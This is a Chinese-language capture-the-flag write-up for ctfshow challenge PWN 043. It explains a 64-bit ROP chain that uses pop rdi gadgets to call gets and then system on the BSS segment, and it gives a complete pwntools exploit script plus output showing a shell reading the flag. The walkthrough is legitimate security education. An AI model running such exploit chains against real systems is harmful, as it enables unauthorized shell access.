本文仅用于技术研究禁止用于非法用途。Author:枷锁在 PWN 042 中我们在 32 位环境下通过gets将/bin/sh写入 BSS 段成功解决了没有现成字符串的问题。来到PWN 043题目环境切换回了64位但核心难题依旧有system函数但没有/bin/sh也没有sh。我们需要复刻 042 的思路但必须适配 64 位的游戏规则——寄存器传参。这意味着我们需要构造更复杂的 ROP 链不仅要控制执行流还要频繁地使用pop rdi; ret来搬运参数。pwn 043 移花接木64位下的内存写入与执行题目信息与环境侦察题目描述pwn43: Hint: This time there is no replacement! How to do? get system parameter!解题过程首先使用checksec检查程序保护情况。Arch:amd64-64-little(64位程序)RELRO:Partial RELROStack:No canary found(无栈哨兵)NX:NX enabled(栈不可执行)PIE:No PIE(地址固定)侦察分析64位架构参数通过RDI寄存器传递。No PIEBSS 段地址固定Gadgets 地址固定。ROP 必要性由于 NX 开启且需要连续调用函数先gets后system我们需要构造 ROP 链。第一部分机制详解 —— 64位写读 ROP 链1. 攻击蓝图我们需要构造一个“两步走”的 ROP 链第一阶段写入 Payload目标调用gets(bss_addr)。参数RDI bss_addr。动作程序暂停等待输入。我们发送/bin/sh将其存入 BSS 段。第二阶段执行 Payload目标调用system(bss_addr)。参数RDI bss_addr。动作system执行刚才写入的命令。2. 关键 Gadget在 64 位下控制第一个参数RDI的神器是pop rdi ; ret我们需要多次使用它第一次是为了给gets传参第二次是为了给system传参。第二部分代码审计与漏洞挖掘1. 静态分析 (IDA Pro)Main 函数int __fastcall main(int argc, const char **argv, const char **envp) { init(argc, argv, envp); logo(); puts(Hint: This time there is no replacement! How to do?); puts(get system parameter!); ctfshow(); return 0; }漏洞函数 ctfshow__int64 ctfshow() { _BYTE v1[10]; // [rsp6h] [rbp-Ah] BYREF // [漏洞点]gets 读取无限长字符串 // 缓冲区 v1 位于 rbp-0xA return gets(v1); }偏移量计算 根据 IDA 注释[rbp-Ah]v1距离rbp的偏移是0xA(10 字节)。覆盖返回地址所需长度 10(buf) 8(Old RBP) 18 字节。2. 寻找拼图零件System 函数题目中的hint函数调用了systemPLT 表中有记录。Gets 函数ctfshow调用了getsPLT 表中有记录。BSS 段地址 (buf2)我们需要找一块可读可写的空地。在 IDA 中查看.bss段或者直接在脚本中指定一个固定地址如0x602080。Gadget (pop rdi)使用ROPgadget寻找pop rdi; ret。第三部分实战操作与 Payload 构造1. 搜集地址systemelf.sym[system]getself.sym[gets]BSS (buf2)0x602080(确保该地址可写且不影响程序其他逻辑)pop_rdi0x4007f3(通过ROPgadget获取)2. Payload 结构解析我们需要将上述两个阶段串联起来---------------------- | Padding (18 bytes) | ---------------------- | pop rdi; ret 地址 | -- [阶段1] 准备 gets 参数 ---------------------- | buf2 地址 | -- RDI buf2 ---------------------- | gets 函数地址 | -- 调用 gets(buf2)读取输入 ---------------------- | pop rdi; ret 地址 | -- [阶段2] 准备 system 参数 ---------------------- | buf2 地址 | -- RDI buf2 (/bin/sh) ---------------------- | system 函数地址 | -- 调用 system(buf2) ----------------------(注如果远程环境遇到 system 崩溃可能需要在 system 前加一个单纯的retgadget 用于栈对齐)3. 完整 EXP 脚本from pwn import * # 1. 基础配置 context.log_level debug context.arch amd64 # 2. 建立连接 io process(./pwn) # io remote(pwn.challenge.ctf.show, 28137) # 端口根据实际情况修改 # 3. 加载 ELF 文件 elf ELF(./pwn) # 4. 准备零件 system_addr elf.sym[system] gets_addr elf.sym[gets] # 目标内存地址 (BSS段) # 可以用 elf.bss() 偏移或者硬编码 IDA 看到的地址 buf2_addr 0x602080 # 寻找 Gadget # ROPgadget --binary pwn --only pop|ret | grep rdi pop_rdi 0x4007f3 log.success(fpop_rdi: {hex(pop_rdi)}) log.success(ftarget buffer: {hex(buf2_addr)}) # 5. 构造 Payload # 偏移量 10 8 18 offset 18 payload flat([ ba * offset, # --- Stage 1: Write /bin/sh to bss --- pop_rdi, buf2_addr, # RDI buf2 gets_addr, # Call gets(buf2) # --- Stage 2: Execute system(/bin/sh) --- pop_rdi, buf2_addr, # RDI buf2 system_addr # Call system(buf2) ]) # 6. 发送 Payload # 发送 ROP 链 io.sendline(payload) # 7. 发送 /bin/sh # 这一步对应 ROP 链中的 gets(buf2) # 程序执行到 gets 时会暂停等待输入我们把字符串发过去 io.sendline(b/bin/sh) # 8. 获取 Shell io.interactive()运行结果[DEBUG] Sent 0x38 bytes: ... [DEBUG] Sent 0x8 bytes: /bin/sh\n [*] Switching to interactive mode $ cat /ctfshow_flag ctfshow{...}总结PWN 043 的核心逻辑维度PWN 042 (32位)PWN 043 (64位)传参方式栈传参寄存器传参 (RDI)Gadgetpop ebx; retpop rdi; ret链条结构gets pop systempop arg gets pop arg system复杂度较低中等 (需多次设置寄存器)核心启示 64 位 ROP 的本质就是不断地利用pop register; ret这类 Gadget 来模拟函数调用前的参数准备过程。 如果把栈比作弹夹那 Payload 就是精心排列的子弹第一发子弹把枪口对准 BSS 段准备写。第二发子弹开火执行写。第三发子弹把枪口对准 BSS 段准备读。第四发子弹开火执行命令。宇宙级免责声明 重要声明本文仅供合法授权下的安全研究与教育目的 1.合法授权本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法可能导致法律后果包括但不限于刑事指控、民事诉讼及巨额赔偿。 2.道德约束黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范仅用于提升系统安全性而非恶意入侵、数据窃取或服务干扰。 3.风险自担使用本文所述工具和技术时你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。 4.合规性确保你的测试符合当地及国际法律法规如《计算机欺诈与滥用法案》CFAA、《通用数据保护条例》GDPR等。必要时咨询法律顾问。 5.最小影响原则测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。 6.数据保护不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息应立即报告相关方并删除。 7.免责范围作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。 安全研究的正确姿势✅ 先授权再测试✅ 只针对自己拥有或有权测试的系统✅ 发现漏洞后及时报告并协助修复✅ 尊重隐私不越界⚠️ 警告技术无善恶人心有黑白。请明智选择你的道路。